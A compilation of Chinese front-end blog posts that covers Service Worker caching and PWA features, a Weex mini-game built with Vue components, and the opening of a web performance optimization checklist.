  • self.clients.claim()：在 activate 事件回调中执行该方法表示取得页面的控制权, 这样之后打开页面都会使用版本更新的缓存。旧的 Service Worker 脚本不再控制页面，之后会被停止。

• 激活后( activated )：在这个状态会处理 activate 事件回调 (提供了更新缓存策略的机会)。并可以处理功能性的事件，fetch (请求)、sync (后台同步)和 push (推送)。

• 废弃状态 ( redundant )：这个状态表示一个 Service Worker 生命周期的结束。

  这里特别说明一下，进入废弃状态的原因可能为这几种：

  • 安装 (install) 失败

  • 激活 (activating) 失败

  • 新版本的 Service Worker 替换了它并成功激活

Service Worker 支持的所有事件

MDN 也列出了 Service Worker 所有支持的事件：

• install：Service Worker 安装成功后被触发的事件，在事件处理函数中可以添加需要缓存的文件

• activate：当 Service Worker 安装完成后并进入激活状态，会触发 activate 事件。通过监听 activate 事件你可以做一些预处理，如对旧版本的更新、对无用缓存的清理等。

• message：Service Worker 运行于独立 context 中，无法直接访问当前页面主线程的 DOM 等信息，但是通过 postMessage API，可以实现他们之间的消息传递，这样主线程就可以接受 Service Worker 的指令操作 DOM。

Service Worker 有几个重要的「功能性事件」，这些功能性的事件支撑和实现了 Service Worker 的特性。

• fetch (请求)：当浏览器在当前指定的 scope 下发起请求时，会触发 fetch 事件，并得到传有 response 参数的回调函数，回调中可以做各种代理和缓存操作。

• push (推送)：push 事件是为推送准备的。不过首先需要了解一下 Notification API 和 PUSH API。通过 PUSH API，当订阅了推送服务后，可以使用推送方式唤醒 Service Worker 以响应来自系统消息传递服务的消息，即使用户已经关闭了页面。

• sync (后台同步)：sync 事件由 background sync (后台同步)发出。background sync 配合 Service Worker 推出的 API，用于为 Service Worker 提供一个可以实现注册和监听同步处理的方法。但它还不在 W3C Web API 标准中。在 Chrome 中这也只是一个实验性功能，需要访问 chrome://flags/#enable-experimental-web-platform-features ，开启该功能，然后重启生效。

Service Worker 的使用

有了以上 SW 的事件及 API，接下来就是实战部分了。

先决条件

• 浏览器支持，包括 Cache API，Promise，HTML5 fetch API。关于目前 SW 的浏览器支持情况，后面将有介绍。
• HTTPS，可用 127.0.0.1 和 localhost 测试，但部署须在 https 协议下。

巧妇难为无米之炊，以上两个先决条件是必须要满足的。

注册 Service Worker

if ('serviceWorker' in navigator) {
  window.addEventListener('load', function() {
    navigator.serviceWorker.register('/sw.js', {scope: '/'}).then(function(registration) {
      // 注册成功
      console.log('ServiceWorker registration successful with scope: ', registration.scope);
    }, function(err) {
      // 注册失败 :(
      console.log('ServiceWorker registration failed: ', err);
    });
  });
}

其实，关键代码只有一行

navigator.serviceWorker.register('/sw.js', {scope: '/'})

注意，此处有坑

Service Worker 的注册路径决定了其 scope 默认作用域，如 SW 注册文件的路径为 https://www.a.com/public/sw.js 时，对应默认 scope 是 /public/，其作用范围如下

以上可看出，当作用域 scope 为 /public/ 后，其作用范围只限于本身和子域，父域和兄弟域皆无效，跨域就更免谈了。

当然，我们可以通过设置 scope 来限定自己的作用域，但是！请注意，『以下写法是错误的』。

navigator.serviceWorker.register('/public/sw.js', {scope: '/'})         // 错误写法
navigator.serviceWorker.register('/public/sw.js', {scope: '/page'})     // 错误写法

以上写法均会报错

The path of the provided scope ('/') is not under the max scope allowed ('/public/'). Adjust the scope, move the Service Worker script, or use the Service-Worker-Allowed HTTP header to allow the scope.

所以，sw.js 文件最好放在根域名下

如

navigator.serviceWorker.register('/sw.js', {scope: '/page'}) 

当 scope 不同时，请求被监控情况也有不同

所以，scope 与被监控请求的域并没有什么关系，他只与站点域名有关

查看是否注册成功

我们可以通过打开 Chrome 的 DevTools -> Application -> Service Workers 查看 SW 的注册情况。

看到类如 Status: #xxxx activated and is running，即说明注册并激活成功。

也可以通过打开 Chrome 的管理页 chrome://inspect/#service-workers 查看

安装 Service Worker

在受控页面启动注册流程后，我们来看看处理 install 事件的 Service Worker 脚本。

最基本的例子是，您需要为安装事件定义回调，并处理想要缓存的文件。

self.addEventListener('install', function(event) {
  // Perform install steps
});

在 install 回调的内部，我们可以执行以下步骤（当然也可以啥也不干）：

1. 打开缓存。
2. 缓存文件。
3. 确认所有需要的资产是否已缓存。

var CACHE_NAME = 'my-site-cache-v1';
var urlsToCache = [
  '/',
  '/styles/main.css',
  '/script/main.js'
];

self.addEventListener('install', function(event) {
  // Perform install steps
  event.waitUntil(
    caches.open(CACHE_NAME)
      .then(function(cache) {
        console.log('Opened cache');
        return cache.addAll(urlsToCache);
      })
  );
});

此处，我们以所需的缓存名称调用 caches.open()，之后再调用 cache.addAll() 并传入文件数组。 这是一个 promise 链（caches.open() 和 cache.addAll()）。 event.waitUntil() 方法带有 promise 参数并使用它来判断安装所花费的时间，以及安装是否成功。

如果所有文件都成功缓存，则将安装 Service Worker。 如有任意文件无法下载，则安装失败。此设计可保证 SW 启动的正确性，但过长的资源列表也增加了安装失败的几率，可根据项目情况自行定义，也可不定义。

自定义请求响应

在安装 Service Worker 且用户转至其他页面或刷新当前页面后，Service Worker 将开始接收 fetch 事件。下面提供了一个示例。

self.addEventListener('fetch', function(event) {
  event.respondWith(
    //匹配缓存
    caches.match(event.request)     
      .then(function(response) {
        //命中走观察
        if (response) {
          return response;
        }
        //未命中则透传向网络
        return fetch(event.request);
      }
    )
  );
});

如果希望连续缓存新请求，可以通过处理 fetch 请求的响应并将其添加到缓存来实现，如下所示。

self.addEventListener('fetch', function(event) {
  event.respondWith(
    caches.match(event.request)
      .then(function(response) {
        if (response) {
          return response;
        }

        /** 
         * 通过检查，则克隆响应。
         * 这样做的原因在于，该响应是数据流， 因此主体只能使用一次。
         * 由于我们想要返回能被浏览器使用的响应，并将其传递到缓存以供使用，
         * 因此需要克隆一份副本。我们将一份发送给浏览器，另一份则保留在缓存。
         */
        var fetchRequest = event.request.clone();

        return fetch(fetchRequest).then(
          function(response) {
            // 只缓存成功的请求，第三方资源不缓存，当然也可以处理缓存。
            if(!response || response.status !== 200 || response.type !== 'basic') {
              return response;
            }

            var responseToCache = response.clone();

            caches.open(CACHE_NAME)
              .then(function(cache) {
                cache.put(event.request, responseToCache);
              });

            return response;
          }
        );
      })
    );
});

workbox

上一部分介绍了 SW 的使用，以及自定义请求响应，实际上，fetch 的玩法有很多，但也都是大同小异。

因此，为了使 SW 更容易使用，GoogleChrome 团队在 Chrome Submit 2017 上首次推出的一套 Web App 静态资源和请求结果本地存储的解决方案 workbox。

来直接感受下 workbox 的语法

// sw.js。 SW 的注册不变，改变的只是 `sw.js` 的写法
importScripts('https://storage.googleapis.com/workbox-cdn/releases/4.3.1/workbox-sw.js');

// 不同的资源使用不同的缓存策略，并存储在不同的 storage 中
workbox.routing.registerRoute(
  /\.(?:s?html)/,
  workbox.strategies.staleWhileRevalidate({
    cacheName:'kl-main'
  })
);

workbox.routing.registerRoute(
  /\.(?:js|css)/,
  new workbox.strategies.CacheFirst({
    cacheName:'kl-static'
  })
);

workbox.routing.registerRoute(
  /http:\/\/(?:haitao\.nos\.netease\.com|haitao\.nosdn2\.127\.net)/,
  new workbox.strategies.CacheFirst({
    cacheName:'kl-cdn'
  })
);

一看就懂，是不是很简单呢？

这里有个缓存策略，简略介绍一下。

• Stale While Revalidate

此策略会优先匹配缓存，如果未命中，则透传网络，如果命中则返回缓存响应，同时在后台更新缓存网络响应，此策略比较安全，更像是竞争策略，谁快谁响应。

• Network First

  网络优先策略，如果网络通畅，返回网络响应并缓存，如果离线，则返回缓存响应

• Cache First

  缓存优先策略，如果缓存匹配，返回响应，如果不匹配则透传网络，并缓存「有效」响应

• Network Only

  强制网络响应，即为普通请求

• Cache Only

  强制缓存响应，无匹配则返回 404

更多关于 workbox 请前往 https://developers.google.com/web/tools/workbox/

可「安装」

PWA 另外一个爆点就是「可安装」，学名叫作「添加到主屏幕」，这归功于一个配置文件 manifest.json，它给予开发者自定义图标、显示名称、启动方式等信息并添加至桌面的能力，同时也提供 API 方便开发者管理网络应用安装横幅，让用户可以方便快捷地将站点添加到主屏幕中。

支持度

当前 manifest.json 的标准仍属于草案阶段，Chrome、Firefox 和 Apple 都已经实现了这个功能或者功能的部分，微软正努力在 Edge 浏览器上实现。

在 caniuse 中可查到 manifest 的支持度，数据显示 92.64% 的移动浏览器已经达到了支持或者部分支持的程度，想必在不久以后，当规范标准通过后，manifest 的支持度可以达到一个新高度。

配置

我以一个相对完整的 manifest.json 配置文件进行讲解

<!-- 配置因为的引入 -->
<link rel="manifest" href="path-to-manifest/manifest.json">

配置介绍

// manifest.json
{
    /* 自定义名称 */
    "short_name": "短名称",
    "name": "这是一个完整名称",
    
    /** 自定义安装 icon 
     * 当PWA添加到主屏幕时，浏览器会根据有效图标的 sizes 字段进行选择。
     * 首先寻找与显示密度相匹配并且尺寸调整到 48dp 屏幕密度的图标；
     * 如果未找到任何图标，则会查找与设备特性匹配度最高的图标；
     * 如果匹配到的图标路径错误，将会显示浏览器默认 icon。
     *
     * 在启动应用时，启动画面图像会从图标列表中提取最接近 128dp 的图标进行显示
     */
    "icons": [
        {
            "src": "path-to-images/icon-96x96.png",
            "type": "image/png",
            "sizes": "96x96"
        },
        {
            "src": "path-to-images/icon-144x144.png",
            "type": "image/png",
            "sizes": "144x144"
        }
    ],
    
    /* 设置启动网址 */
    "start_url": "index.html",
    
    /** 设置启动背景颜色 
     * 完整色值 "#0000ff"
     * 缩写 "#00f"
     * 预设色值 "blue"
     * rgb "rgb(0, 0, 255)"
     * transparent 背景色显示为黑色
     */
    "background_color": "#0000ff",
    
    /** 设置启动显示类型 
     * fullscreen	应用的显示界面将占满整个屏幕
     * standalone	浏览器相关UI（如导航栏、工具栏等）将会被隐藏
     * minimal-ui	显示形式与standalone类似，浏览器相关UI会最小化为一个按钮，不同浏览器在实现上略有不同
     * browser	浏览器模式，与普通网页在浏览器中打开的显示一致	
     */
    "display": "fullscreen",
    
    /** 指定页面显示方向
     * 更多配置介绍：https://lavas.baidu.com/pwa/engage-retain-users/add-to-home-screen/improved-webapp-experience#%E6%8C%87%E5%AE%9A%E9%A1%B5%E9%9D%A2%E6%98%BE%E7%A4%BA%E6%96%B9%E5%90%91
     */
    "orientation": "landscape",
    
    /* 设置主题颜色 */
    "theme_color": "#000",
    
    /** 设置作用域
     * start_url 必须在作用域内
     */
    "scope": "/"
    
}

测试

配置完之后就可以在 Chrome 的 DevTools 中进行验证测试了。

图片来源于 developers.google.com

可推送消息

消息推送是 App 保活冲绩效的常用手段，由于 HTTP 是一个无状态协议，推送功能在用户关闭了浏览器之后便没了办法，这一次 PWA 赋予了 Web 这个能力。

其中便包含了两个技术点

• 推送 push：连接服务端和 SW 进行消息传递
• 通知 notification：控制客户端（浏览器）进行消息提示

下面我们来解析一个通知体

// 消息体的 title
self.addEventListener('push', event => {
    const title = "Credit Card";
    const options = {
        // 主内容
        "body": "Did you make a $1,000,000 purchase at Dr. Evil...", 
        // 视觉配置，如 icon，Badge，image 等，不同的视觉配置展示的位置也不同
        // 详情参看 https://lavas.baidu.com/pwa/engage-retain-users/notification/notification-display
        "icon": "images/ccard.png",
        // 震动设置，其中的数字以2个为一组，分别表示震动的毫秒数，和不震动的毫秒数
        "vibrate": [200, 100, 200, 100, 200, 100, 400],
        // 铃声
        "sound": "path/to/sound.mp3",
        // 标签，用于客户端消息归类
        "tag": "request",
        // actions，用户操作后会将结果反馈给浏览器
        "actions": [
            { "action": "yes", "title": "Yes", "icon": "images/yes.png" },
            { "action": "no", "title": "No", "icon": "images/no.png" }
        ]
    }
    // 激活通知
    self.registration..showNotification(title, options);
});

self.addEventListener('notificationclick', event => {  
  // Do something with the event  
  event.notification.close();  
});

self.addEventListener('notificationclose', event => {  
  // Do something with the event  
});

以上的消息配置，展示的结果如下图。

关于推送功能的更多实操不属于本文探究的范畴，有实际需求的同学可以前往官网进行了解。

传送门>>

https://developers.google.com/web/fundamentals/push-notifications/

https://lavas.baidu.com/pwa/engage-retain-users/notification/notification-pattern

PWA & 小程序

有人说「PWA 是小程序的祖宗」，不无道理，PWA 对小程序肯定存在一定的借鉴意义，但是否会挤压 PWA 的市场？我们应该放心，小程序的设计并不是 Web 的替代者，而是介于原生 App 和 Web 之间的存在。

小程序更倾向于轻便及时触手可得。既没有原生 App 的「沉重」也没有 Web 「迟钝」。在此得天独厚的基础之上加之以「社交流量」的加持，微信小程序的存在并非偶然。

但是，如果没了网络，一样玩不转；主流的搜索引擎并无法捕获小程序的内容。所以，App、Web 和小程序是相辅相成的。

另外，笔者想表达另外一个观点

「存在即合理，合理未必长久」

在经历过一段痛苦的微信小程序洗礼之后，我们「欣然」接受了。奈何众XX小程序『竞相开放，争奇斗艳，不亦乐乎』。殊不知，我等不才，竟要为了这区区语法之差异，彻夜无法停歇，然，产与出相比，孰轻孰重？

唉~程序员奈何为难程序员~~

总结

关于 PWA 的技术早在 2 年前即已相对完整，只是由于「天朝人民太过赋予」，对支持与否未发布意见的 Apple 在天朝市场有着举足轻重的地位，而「外围」仿佛对 Android 机更为推崇，所以，PWA 在国内的发展和推广并不理想。

此时此刻，PWA 的支持度也达到了一个相对让人满意的水平，虽然体验依然无法和原生 App 相提并论，但作为 App 短板的补丁已是绰绰有余。

所以，『架构师』们，可以盘起来了。

以上就是 PWA 的相关知识点，希望对你有所帮助。

[1]. https://developers.google.com/web/fundamentals/web-app-manifest/

[2]. https://developers.google.com/web/fundamentals/primers/service-workers/

[3]. https://developers.google.com/web/tools/workbox/

[4].下一代 Web 应用模型 —— Progressive Web App

[5]. https://lavas.baidu.com/

首发：zwwill/blog#33

作者：木羽

转载请标明出处

前言

作为一个移动端初学者、爱好者，能使用前端技术开发原生游戏一直是一件渴望而不可及的事情，暂且不说游戏逻辑的复杂度，算法的健壮性，单单是场景、画布、布局就让我们无处下手。

几年前曾经参与 Appcan 技术的技术孵化和推广，尝试使用 Hybrid 技术写过一个小游戏，由于此游戏结构场景比较简单，所以未使用大型的游戏引擎，Cocos2d-x游戏引擎，所有逻辑全部手工。同样也是可「三端同构」，但本质上还是一个 H5小游戏，只是可以安装在手机上，执行环境是一个 Webview，所以，H5可以做的，他都可以做，H5不能做到，他未必不能做，如摄像头、陀螺仪等。但缺点也很致命，执行效率完全受限于原生控件 Webview，要知道对于一个游戏来讲，流畅度是第一要义。

总的来讲，使用 Hybrid 技术开发游戏的方案虽然可行，但是，效果并不是我想要的。

自从 ReactNative 开源以来，一直想着要使用 ReactNative 开发游戏。个人原因，一直未付诸实践。直到上周有网友问我，「Weex是否能拿来做游戏开发」，试试就知道，那就先拿 Weex 开刀，来挑战下 game app 同构的能力，给还没上车的朋友带波节奏。

准备工作

如果你还未入门，没关系，就当看个热闹了，知道 Weex 能不能快速开发游戏就可以了。

如果你想先入门，以下几篇文章你可以当作是导读。

• 《Native、Web App、Hybrid、React Native 和 Weex》
• 《Weex 快速创建工程 Hello World》
• 《网易严选 App 感受 Weex 开发》

扫雷游戏 Demo

官方提供的 WeexPlayground 中也提供了一个游戏 demo 扫雷，如下图

此 demo 是为了实践以下三件事：

1. 界面指示器
2. 动态数据绑定
3. 更复杂的事件

总体表现还是不错的。更多细节，可详读《Weex版扫雷游戏开发》

我的小游戏

别人的东西再炫酷也始终是别人的，不自己动手码一个说话都不硬气！

没有实践就没有发言权，此处献上源码的 Github 链接：https://github.com/zwwill/just-do-8，欢迎「Star」「Fork」，支持瞎搞 ψ(｀∇´)ψ

先来感受下最终的效果

界面

体验

可以直接使用 Weex Playground 扫码体验 Weex Playground下载地址

规则

规则很简单，会玩「俄罗斯方块」和「2048」就一定会玩这款小游戏

一期功能

由于要快速产出，界面随便就别太在意了，另外很多功能还没有开发，如，全球排名、分享、游戏设置等，这些都放在后面慢慢迭代吧（如果有第二版的话(￣.￣)）

源码分析

接下来是一大波源码分析，不感冒？那就直接跳过。
由于篇幅有限，此处只做简要介绍，详细请见工程源码，地址请爬楼

项目结构

只有三个文件（一个场景两个组件）。我来逐一讲解下每个文件的职能。

index.vue

**【index.vue】**是一个场景文件，用于根据状态切换场景，以及监听处理所有的手势

【模版 | 简码】

<template>
  <div class="wrapper" @swipe="onSwipe" @click="onClick" @panstart="onPanstart" @panend="onPanend" @horizontalpan="onHorizontalpan">
    <!-- 此处省略一堆代码 -->
    <stoneMap v-if="stoneMapShow" ref="rStoneMap" class="stone-map" @screenLock="onScreenLock" @screenUnlock="onScreenUnlock" @over="onGameover" @win="onGameWin"></stoneMap>
    <!-- 此处省略一堆代码 -->
  </div>
</template>

我们监听了 Weex 的一堆事件来「合成」我们需要的【切换】【左右滑动】【下降】等主要游戏操作。如@swipe、@click、@panstart、@panend和@horizontalpan，同时给<stoneMap />组件注册@screenLock、@screenUnlock、@over和@win等事件，用于游戏场景切换。

• @swipe：swipe的属性direction提供在屏幕上滑动时触发的方向，本项目用到up、down，官方给的说法是『direction的值可能为up、left、bottom、right』但实际上我得到的却是down而不是bottom，具体请客还在和Weex的开发团队进行沟通，确认后会更新上来。另外要注意的是@swipe、@click、@panstart、@panend和@horizontalpan这些事件同时使用时会出现冲突问题，Android 平台下问题比较多，具体大家在做的时候需要做好兼容
• @click：常规的click事件
• @panStart、@PanEnd、@horizontalpan：用于计算左右滑动距离，每滑动40个显示像素就向<stoneMap />组件发起滑块左右滑动的指令

具体事件的使用姿势，大家可以详读官方文档

每一个事件方法的功能实现和视觉此处就略去了。

stoneMap.vue

**【stoneMap.vue】**就像是「大内总管」，一切闲杂喽啰的事都归他管。主要管理的数字块的布局、状态、游戏分值等

【简码】

<template>
    <div class="u-slider">
        <!-- 此处省略一些记录分值等无关紧要的代码 -->
        <template v-for="i in stones">
            <stone :ref="i.id" :id="i.id" :p0="i.p0" :num0="i.s"></stone>
        </template>
    </div>
</template>
<script>
   export default {
        components: {
            stone: stone
        },
        data() {
            return {
                MAX_H: 9,
                stones: [],
                map: [],
                // 此处省略一些无关紧要的data
            }
        },
        mounted() {
            // 绘制画布矩阵
            for (let _i = 0; _i < this.MAX_H; _i++) {
                this.map.push(['', '', '', '', '', '']);
            }
            // 开始游戏
            this.pushStones();
        },
        methods: {
            /**
             * 事件控制
             * */
            action(_action) { /* ... */ },
            /**
             * 新增三个单元数字块
             * */
            pushStones() { /* ... */ },
            /**
             * 滑块切换
             * */
            actionChange() { /* ... */ },
            /**
             * 滑块左右滚动
             * */
            actionSliderMove(_d) { /* ... */ },
            /**
             * 单元块位置移动+权重加码
             * */
            actionDown() { /* ... */ },
            /**
             * 重新计算map并更新
             * */
            mapUpdate() { /* ... */ },
            /**
             * 计算map
             * */
            mapCalculator: (function () { /* ... */ })(),
            /**
             * 整理数字块，堆积下降
             * */
            stonesTrim() { /* ... */ },
            /**
             * 单元块位置移动+权重加码
             * */
            sChange(_id, _p, _score) { /* ... */ }
        }
    }
</script>

• this.stones：用于管理所有实例进来的数字块，将他们投影到界面上
• this.map：是一个6*9的逻辑网，标记 this.stones 中的的数字块的逻辑位置

此处主要介绍下事件的控制分发和逻辑网的计算，讲解在注释中

【action() | 简码】

/**
 * 事件的控制分发
 * */
action(_action) {
    if (!!this.actionLock) return;
    switch (_action) {
        case 'click':
        case 'up':
            // click 和 up 触发上方三个活动数字块的互相切换
            this.actionChange();
            break;
        case 'left':
        case 'right':
            // left 和 right 触发上方三个活动数字块的的整体平移
            this.actionSliderMove(_action);
            break;
        case 'down':
        case 'bottom':
            // down 触发上方三个活动数字块进场
            // bottom 起到兼容的作用
            this.actionDown();
            break;
        default:
            break;
    }
}

【mapCalculator() | 全码】

/**
 * 计算map
 * */
mapCalculator: (function () {
    var updateStone = function (_stones, _id, _s) {
        /** 
         * 此方法控制得分规则
         * 横竖对角线+1分
         * 十字、X型+2分
         * 8字型、9宫格分别+3分、+4分，当然，不可能存在这两种情况
         * */
        if (_stones[_id]) {
            _s != 0 && _s < 8 && (_stones[_id]['score'] == 0 ? _stones[_id]['score'] = _s : _stones[_id]['score']++);
        } else {
            _stones[_id] = {
                id: _id,
                score: _s
            }
        }
    };
    
    return function (_map) {
        let hasChange = false,
            activeStones = {},
            height = _map.length - 1,
            width = _map[0].length - 1,
            _tp_id, _s;
        // 全逻辑网遍历
        for (let y = height; y >= 0; y--) {
            for (let x = 0; x <= width; x++) {
                _tp_id = _map[y][x] || "";
                // 排除四角
                if (!_tp_id || (x == 0 || x == width) && (y == 0 || y == height)) continue; 
                
                _s = parseInt(this.$refs[_tp_id][0].num);
                let _p1, _p2;
                if (x == 0 || x == width || y == 0 || y == height) {
                    // 侧边，将其单独提炼出来是为了减少计算量三分之一的计算量
                    if (x == 0 || x == width) {
                        // 竖排
                        if (!_map[y - 1][x] || !_map[y + 1][x]) continue;
                        _p1 = this.$refs[_map[y - 1][x]][0];
                        _p2 = this.$refs[_map[y + 1][x]][0];
                    } else if (y == 0 || y == height) {
                        // 横排
                        if (!_map[y][x - 1] || !_map[y][x + 1]) continue;
                        _p1 = this.$refs[_map[y][x - 1]][0];
                        _p2 = this.$refs[_map[y][x + 1]][0];
                    }
                    if (_p1 && _p2 && _p1.num == _s && _p2.num == _s) {
                        hasChange = true;
                        updateStone(activeStones, _tp_id, ++_s);
                        updateStone(activeStones, _p1.id, 0);
                        updateStone(activeStones, _p2.id, 0);
                    }
                } else {
                    // 中间可形成九宫格区域
                    const _map_matrix = [
                        [[0, 1], [0, -1]],
                        [[-1, 1], [1, -1]],
                        [[-1, 0], [1, 0]],
                        [[-1, -1], [1, 1]]
                    ];
                    for (let _i = 0, _mm; _i < _map_matrix.length; _i++) {
                        _mm = _map_matrix[_i];
                        if (!_map[y + _mm[0][0]][x + _mm[0][1]] || !_map[y + _mm[1][0]][x + _mm[1][1]]) continue;
                        _p1 = this.$refs[_map[y + _mm[0][0]][x + _mm[0][1]]][0];
                        _p2 = this.$refs[_map[y + _mm[1][0]][x + _mm[1][1]]][0];
                        if (_p1 && _p2 && _p1.num == _s && _p2.num == _s) {
                            hasChange = true;
                            updateStone(activeStones, _tp_id, _s + 1);
                            updateStone(activeStones, _p1.id, 0);
                            updateStone(activeStones, _p2.id, 0);
                        }
                    }
                }
            }
        }

        // 存在更新块
        if (hasChange) {
            setTimeout(() => {
                for (let s in activeStones) {
                    this.sChange(s, undefined, activeStones[s].score);
                }
                // 数字块整理
                setTimeout(() => {
                    this.stonesTrim();
                }, 100)
            }, 400)
        } else {
            let _errorStone = "";
            for (let _i = 0; _i < this.map[0].length; _i++) {
                if (this.map[0][_i]) {
                    _errorStone = this.$refs[this.map[0][_i]][0].$refs['stone'];
                    break;
                }
            }
            if (!!_errorStone) {
                this.$emit('over', this.totalScore, this.highScore, _errorStone);
                if (this.totalScore > this.highScore) {
                    storage.setItem('H-SCORE', this.totalScore)
                }
            } else {
                this.$emit('screenUnlock');
                setTimeout(() => {
                    this.pushStones();
                }, 100);
            }
        }
    }
})()

【stonesTrim | 全码】

/**
 * 整理数字块，堆积下降
 * */
stonesTrim() {
    let hasChange = false,
        height = this.map.length - 1,
        width = this.map[0].length - 1,
        _tp_id, _step = 0;
    for (let x = 0; x <= width; x++) {
        _step = 0;
        for (let y = height; y >= 0; y--) {
            _tp_id = this.map[y][x] || "";
            if (!_tp_id) {
                _step++;
                continue;
            } else if (_step > 0) {
                hasChange = true;
                this.sChange(_tp_id, {y: _step});
                this.map[y + _step][x] = _tp_id;
                this.map[y][x] = "";
            }
        }
    }
    setTimeout(() => {
        this.mapUpdate();
    }, hasChange ? 200 : 0);
}

stone.vue

**【stone.vue】**就像被「大内总管」管理着的「小太监」（数字块），「小太监」的一举一动都是被「总管」支配的，包括其长相（颜色）、品级（数字）以及生死（生命周期），但状态的改变都是由自己执行，直接自己整容，自己升级，还要。。自杀。底层人民好无奈 ╮(╯_╰)╭

【简码】

<template>
    <text ref="stone" class="u-stone" :style="{color:color,visibility:visibility,backgroundColor:backgroundColor0}" v-if="show" >{{score}}</text>
</template>

<script>
    const animation = weex.requireModule('animation');
    export default {
        props: ['id', 'p0', 'num0'],
        data(){
            return {
                show: true,
                p: '0,8',
                visibility: '',
                num: -1,
                colors: ["#333","#666","#eee","#b9e3ee","#ebe94b","#46cafb","#eca48f","#decb3d","#8d1894"],
                backgroundColors: ["#222","#ddd","#999","#379dc3","#36be0d","#001cc6","#da4324","#56125a","#ffffff"]
            }
        },
        computed: {
            color: function () {
                return this.colors[this.num];
            },
            score: function () {
                this.num<0 && (this.num = this.num0 || 1);
                return this.num<9&&this.num>0?this.num:0
            },
            backgroundColor0: function () {
                return this.backgroundColors[this.num];
            }
        },
        watch: {
            p: function (val) {
                // 移动数字块
                var _x = 125*val.charAt(0)+"px",
                    _y = 125*val.charAt(2)+"px";
                // 使用animation库实现过度动画
                animation.transition(this.$refs['stone'],{
                    styles: {
                        transform: 'translate('+_x +',-'+_y+')'
                    },
                    duration: 200,
                    timingFunction: 'ease-in',
                    delay: 0
                });
            }
        },
        mounted(){
            this.initState(this.p0);
        },
        methods: {
            /**
             * 移动数字块
             * */
            move(_x, _y){ /* ... */ },
            /**
             * 更新数字块的分值，即显示数字
             * */
            scoreChange(_num){ /* ... */ },
            /**
             * 初始化数字块的位置
             * */
            initState(_p){ /* ... */ }
        }
    }
</script>

好了，辣么乐色的代码我都不好意思再唠叨了。换个话题，来讲讲这个小游戏从无到有中间的一些方案的变更吧。

各种尝试

由于对 Weex 的过高期望，导致很多最初的方案都被「阉割」或者「整容」。

动画

想让元素动起来，传统前端一般有两种方式

1、CSS 动画
2、JS 动画
在 Weex 上由多了一个
3、animation 内建模块，可执行原生动画

由于 css3 的 transition 在 Weex 的 0.16.0+ 版本才能使用，官方提供的 demo 框架引用的 SDK 版本低于此版本，方案1，无效！

Weex 上的视觉是通过解析 VDom，在调用原生控件渲染成的，完全没有 DOM ，所以 JS 动画的方案，无效！

看了只剩下 Weex 的 animation 内建动画模块了。

虽然不太喜欢，用起来也很别扭，但是没办法，有总比没有强。知促常乐吧。

来看一下 animation 的使用姿势

animation.transition(this.$refs.test, {
        styles: {
            color: '#000',
            transform: 'translate(100px, 100px) sacle(1.3)',
            backgroundColor: '#CCC'
        },
            duration: 800, // ms
            timingFunction: 'ease',
            needLayout:false,
            delay: 0 // ms
        }, function () {
            // animation finished.
        })

想实现一个多态循环的动画，还要写一个方法，想想就难受

音乐

没有声音还能算是游戏吗？！

嗯 ~ ~ ~ 好像可以算

无所谓啦~ 开心最重要 ︿(￣︶￣)︿

尴尬的是 Weex 官方压根就没给咱们提供这样的 API，好在有三方的插件可用，Nat， 刚好可以用上。

Weex 提倡使用网络资源，所有我把音频文件上传到了 CDN 上，为了能快一点。。

当然不可能一路顺风！

我们来看看 Nat Audio 模块的使用方式

Nat.audio.play('http://cdn.instapp.io/nat/samples/audio.mp3')

然而 Nat.audio 只提供了 play() | pause() | stop() 三个 API。

为什么没有 replay() 重放？我想用的就是重放。这都不是事儿，使用 play() 硬着头皮上吧！

由于 Nat.audio 不支持 Web 端，每次修改都是真机调试，那个速度，唉~~~我终于理解原生小伙伴们的痛苦了。。

这也不是事儿，最气愤的就是，Nat.audio.play() 每次播放相同的音频竟然不是走的缓存！难道缓存机制还要自己做？！？！ヽ(｀⌒´)ﾉ 我的天！

最后还是乖乖的用背地文件吧。还要写平台路径适配。。

没想到音频的槽点这么多！还要我没用 Weex 做网易云音乐。

手势指令

前文也有讲过，小游戏用到了@swipe、@click、@panstart、@panend和@horizontalpan这么多事件监听。官方也有友情提醒「horizontalpan 手势在 Android 下会与 click 事件冲突」，但实际上 ios 平台上也会有冲突。

具体的我就不再描述了。此处只想说明，Weex 在手势指令上虽然可以满足游戏的基础指令要求，但细节上还是不太理想。

IOS 过审

关于 IOS 的上线审核要求还是比较严格的。

• 不能使用第三方插件【WXDevtool】和【ATSDK-Weex】
• 及时不支持iPad，那么在 iPad 下运行时也不能出现视觉错乱

以上两点是我在提交审核被拒的两点。

解决方案也比较直接，【WXDevtool】和【ATSDK-Weex】 是内部做调试的工具包，直接清理掉即可
至于 iPad 适配，让我们适配那就乖乖适配下吧，没办法，谁叫人家是老大，

总结

总的来讲，Weex 算是满足了我做小游戏的要求。如果想做大型游戏，就不建议使用 Weex 了，Weex 确实做不了，但者也不是 Weex 诞生的意义。

test

围绕前端的性能多如牛毛，涉及到方方面面，以我我们将围绕PC浏览器和移动端浏览器的优化策略进行罗列
注意，是罗列不是展开，遇到不会不懂的点还请站外扩展

开车速度有点快，坐稳了。

tips : 这么多前端优化点你都记得住吗？反正我是收藏起来备查的。

PC浏览器前端优化策略

PC端优化的策略很多，如 YSlow（YSlow 是 Yahoo 发布的一款 Firefox 插件，现 Chrome 也可安装，可以对网站的页面性能进行分析，提出对该页面性能优化的建议）原则，或者 Chrome 自带的 Audits 等，总结起来主要包括网络加载类、页面渲染类、CSS 优化类、JavaScript 执行类、缓存类、图片类、架构协议类等几类，下面逐一介绍。

网络加载类

1．减少 HTTP 资源请求次数

在前端页面中，通常建议尽可能合并静态资源图片、JavaScript 或 CSS 代码，减少页面请求数和资源请求消耗，这样可以缩短页面首次访问的用户等待时间。通过构建工具合并雪碧图、CSS、JavaScript 文件等都是为了减少 HTTP 资源请求次数。另外也要尽量避免重复的资源，防止增加多余请求。

2．减小 HTTP 请求大小

除了减少 HTTP 资源请求次数，也要尽量减小每个 HTTP 请求的大小。如减少没必要的图片、JavaScript、CSS 及 HTML 代码，对文件进行压缩优化，或者使用 gzip 压缩传输内容等都可以用来减小文件大小，缩短网络传输等待时延。前面我们使用构建工具来压缩静态图片资源以及移除代码中的注释并压缩，目的都是为了减小 HTTP 请求的大小。

3．将 CSS 或 JavaScript 放到外部文件中，避免使用<style>或<script>标签直接引入

